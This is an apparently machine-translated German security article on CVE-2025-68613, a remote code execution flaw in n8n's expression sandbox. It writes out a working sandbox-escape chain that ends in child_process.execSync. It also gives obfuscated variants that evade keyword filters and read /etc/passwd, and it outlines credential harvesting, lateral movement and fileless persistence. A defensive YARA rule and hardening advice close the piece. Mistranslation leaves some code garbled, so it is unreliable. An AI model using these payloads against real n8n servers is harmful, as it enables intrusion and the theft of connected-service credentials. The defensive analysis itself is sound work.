In der sich abzeichnenden Sicherheitslandschaft des Jahres 2025 wird die Offenlegung von CVE-2025-68613 (CVSS 10.0) hat die Branche mit der Wucht einer kinetischen Waffe getroffen. Als das weltweit beliebteste Open-Source-Tool zur Automatisierung von Arbeitsabläufen, n8n bildet die Grundlage für die zentrale Geschäftslogik unzähliger Unternehmen. Doch diese Schwachstelle, die es nicht authentifizierten Angreifern (oder solchen mit geringen Rechten) ermöglicht, beliebigen Code auszuführen, hat die architektonische Achillesferse moderner "Low-Code/No-Code"-Plattformen gründlich offengelegt.
Für erfahrene Sicherheitsingenieure und Red Team-Forscher ist CVE-2025-68613 weit mehr als ein "Validierungsfehler". Es ist eine Fallstudie wie aus dem Lehrbuch für die kombinierte Ausnutzung der Node.js Dynamische Laufzeit, Objekt Capability Model Failureund Prototyp Verschmutzung.
Dieser Artikel verzichtet auf oberflächliche Schwachstellenberichte, um tief in die Interna der V8-Engine einzutauchen, jedes Byte des Sandbox-Escape zu dekonstruieren und ein umfassendes Erkennungs- und Abwehrhandbuch für Blue Teams in Unternehmen zu erstellen.

Dekonstruktion der Angriffsfläche
Das zentrale Wertversprechen von n8n ist "Konnektivität". Es verknüpft Datenbanken, SaaS-Dienste und interne APIs über Tausende von Integrationsknoten. Um eine dynamische Datenverarbeitung zu ermöglichen, erlaubt n8n den Nutzern, JavaScript-Ausdrücke in die Knoten einzubetten, typischerweise verpackt in {{ }} Syntax.
Vor dem Ausbruch von CVE-2025-68613 verließ sich n8n auf die native Node.js vm Modul, um diesen vom Benutzer bereitgestellten Code zu isolieren.
Warum Node.js vm?
Die Node.js vm Modul ermöglicht das Kompilieren und Ausführen von Code im Kontext einer virtuellen V8-Maschine. Es bietet ein isoliertes globales Objekt (Contextified Sandbox).
- Idealerweise: Der Code kann nicht auf Variablen außerhalb der Sandbox zugreifen.
- Die Realität: Die
vmModul ist in der Sicherheitsgemeinschaft weithin anerkannt als "Gebrochen durch Design.”
Analyse der Angriffsfläche:
- Einstiegspunkte: Jeder Knoten, der die Eingabe eines Ausdrucks akzeptiert (z. B.,
Satz,Funktion,HTTP-AnfrageKnoten). - Ausführungsablauf: Benutzereingabe -> String-Parsing ->
vm.runInNewContext()-> Ausführung. - Der Makel: Solange ein Objekt innerhalb der Sandbox auf ein externes Objekt verweist (z. B. durch Übergabe von Umgebungsvariablen des Hosts über die
dieseKontext), kann ein Angreifer die JavaScript Prototyp Kettenklettern Mechanismus, um der Sandbox zu entkommen.
Technische Vertiefung - Von der Prototypenkette zur RCE
Um die Ausnutzungslogik von CVE-2025-68613 zu verstehen, muss man sich die Konstrukteur Eigenschaft in JavaScript.
Fast jedes Objekt in JavaScript hat eine Konstrukteur Eigenschaft, die auf die Funktion verweist, die sie erstellt hat.
({}).constructor===ObjektObjekt.Konstruktor===Funktion
Die Kernfluchtlogik: this.constructor.constructor
In der eingeschränkten Umgebung von n8n kann ein Angreifer nicht direkt die require('child_process'). Der Angreifer verfügt jedoch über den aktuellen Ausführungskontext: diese.
- Hopfen 1:
dieseist das Kontextobjekt innerhalb der Sandbox. - Hopfen 2:
this.constructorist dieObjektKonstruktor innerhalb der Sandbox. - Hopfen 3 (Kritisch):
this.constructor.constructorbeschließt die GastgeberFunktionKonstrukteur.
Warum wird dadurch die Sandbox verletzt? Weil die V8-Engine bei der Behandlung kontextübergreifender Objektinteraktionen die Konstruktorkette zur externen Definition auflöst, wenn das Stammobjekt von außerhalb stammt.
Sobald der Angreifer die Daten des Hosts erhalten hat Funktion Konstruktor, können sie dynamisch eine anonyme Funktion erzeugen, die in der Host-Kontext. Diese anonyme Funktion ist nicht durch Sandbox-Beschränkungen gebunden und kann auf die globale Prozess Objekt.
Das vollständige Exploit-Primitiv
Die vom Angreifer konstruierte Nutzlast ist keine einfache Zeichenkette, sondern ein präzises Stück JavaScript-Code, mit dem das Node.js-Modul-Ladesystem rekonstruiert werden soll.
JavaScript
`// Phase 1: Erfassen des Funktionskonstruktors der Host-Umgebung const ForeignFunction = this.constructor.constructor;
// Phase 2: Dynamische Erstellung einer Funktion, die das "process"-Objekt zurückgibt // Dieser Code wird im Host-Kontext unter Umgehung der Sandbox ausgeführt const getProcess = ForeignFunction('return process');
// Phase 3: Ausführen der Funktion zum Abrufen des Prozesshandles const proc = getProcess();
// Phase 4: Zugriff auf das mainModule, um das 'require'-Handle zu erhalten const require = proc.mainModule.require;
// Phase 5: 'child_process' laden und Systembefehle ausführen const result = require('child_process').execSync('id').toString();`
In einem n8n {{ }} Ausdruck wird diese Logik zu einer tödlichen Einzeilerspritze komprimiert.
Bekämpfung & Verschleierung - Umgehung statischer Filter
In frühen Verteidigungsversuchen gegen CVE-2025-68613 versuchten einige temporäre Patches, Schlüsselwörter wie process, constructor oder require mithilfe von regex zu filtern.
Bei einer hochdynamischen Sprache wie JavaScript ist die statische Filterung jedoch sinnlos.
Verschleierungsvariante A: String-Verkettung & Kodierung
Angreifer nutzen die Flexibilität von JavaScript, um Schlüsselwörter aufzuteilen oder zu verschlüsseln und so die Erkennung durch Signaturen zu umgehen.
JavaScript
{{ // Umgehung der "Konstruktor"-Erkennung this['con'+'structor']['con'+'structor']( // Umgehung der "return process"-Erkennung 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
Obfuskationsvariante B: Reflektieren & Proxy
Fortgeschrittene Angreifer verwenden Reflect.get um dynamisch auf Eigenschaften zuzugreifen, was die Analyse des abstrakten Syntaxbaums (AST) erschwert, um die Aufrufkette nachzuvollziehen.
JavaScript
{{ // Verwendung von Reflect, um den Konstruktorschlüssel dynamisch zu finden const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // Fortfahren mit der Ausführung... }}
Dies zeigt, dass ein einfacher Regex-Abgleich CVE-2025-68613 nicht beheben kann; die Korrektur muss die zugrunde liegende Beschränkungen der Objektfähigkeit.
Post-Exploitation - Warum n8n der perfekte Anlaufpunkt ist
Die Kompromittierung des n8n-Servers (Erhalt einer Shell) ist nur der Anfang. In einer APT-Kill-Chain (Advanced Persistent Threat) hat n8n einen einzigartigen strategischen Wert.
Sammeln von Berechtigungsnachweisen
Die n8n-Datenbank (in der Regel SQLite oder PostgreSQL) speichert die Anmeldedaten für alle verbundenen Dienste. Während sie verschlüsselt sind, kann ein Angreifer mit RCE den Verschlüsselungsschlüssel (normalerweise in Umgebungsvariablen oder Konfigurationsdateien) lesen und so entschlüsseln:
- AWS IAM-Benutzer-Schlüssel
- API-Schlüssel für Stripe / PayPal
- Datenbank-Verbindungszeichenfolgen für Unternehmen
- Slack/Discord Bot Token
Seitliche Bewegung
n8n-Server werden in der Regel tief im Intranet eingesetzt und haben Zugang zu verschiedenen internen APIs. Angreifer können n8n als SOCKS-Proxyoder bestehende HTTP-Anfrageknoten direkt modifizieren, um Probe-Anfragen an andere interne Dienste (wie Jenkins, GitLab) zu senden und so interne Ressourcen effektiv zu scannen.
Persistenz
Herkömmliche Malware-Binärdateien werden von EDR-Lösungen gescannt. Wenn ein Angreifer jedoch einen "Cron"-Workflow in n8n erstellt, der alle 5 Minuten läuft und bösartiges JavaScript ausführt, ist diese Hintertür Dateilos. Er fügt sich vollständig in die normale Geschäftslogik ein und ist daher extrem schwer zu erkennen.
Handbuch für blaue Teams - Erkennung und Verteidigung
Für Sicherheitsteams in Unternehmen (Blue Teams) erfordert die Bekämpfung von CVE-2025-68613 mehr als nur die Anwendung des offiziellen Patches.
Erkennung von Verkehrssignaturen (SIEM/IDS)
Überwachen Sie HTTP-Anfragekörper mit {{ die auch Schlüsselwörter enthalten wie Konstrukteur, Prozess, Ausführung, oder laichen.
Beispiel einer YARA-Regel:
rule DETECT_N8N_RCE_ATTEMPT { meta: description = "Erkennt Expression-Injection-Versuche, die auf n8n (CVE-2025-68613) abzielen" severity = "Kritisch" strings: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start und (2 von ($keyword*)) }
Log-Überwachung
Audit der n8n-Ausführungsprotokolle auf anormale ERROR Nachrichten, insbesondere Datensätze mit Zugriff auf globale Variable verweigert oder ReferenceError: Prozess ist nicht definiert. Diese weisen oft auf einen Angreifer hin, der die Grenzen der Sandbox sondiert.
Architektonische Härtung
- Docker-Isolierung: Führen Sie n8n-Container mit
-cap-drop=ALLum alle unnötigen Linux-Fähigkeiten zu entfernen. - Ausstiegsverkehrskontrolle: Konfigurieren Sie die Netzwerkrichtlinien so, dass der n8n-Container keine Verbindungen zu öffentlichen IPs initiieren kann, die nicht auf der Whitelist stehen, so dass Reverse Shells keine Verbindung zu C2-Servern herstellen können.
Schlussfolgerung: Ein Wendepunkt für Low-Code-Sicherheit
CVE-2025-68613 stellt einen Wendepunkt in der Sicherheitsgeschichte von Low-Code/No-Code-Plattformen dar. Sie erinnert uns daran, dass Flexibilität und Sicherheit sind oft ein Nullsummenspiel.
Wenn wir normalen Benutzern die volle Leistungsfähigkeit einer Programmiersprache (wie JavaScript-Ausdrücke) zugestehen, laden wir Angreifer geradezu in unsere Laufzeitumgebung ein. Künftige Sicherheitsmaßnahmen können sich nicht mehr auf anfällige Sandboxen auf Anwendungsebene stützen, sondern müssen sich auf Sicher durch Design Architekturen, wie z. B. die Verwendung von WebAssembly (Wasm) für eine echte speichersichere Isolierung der Ausführung von Benutzercode.

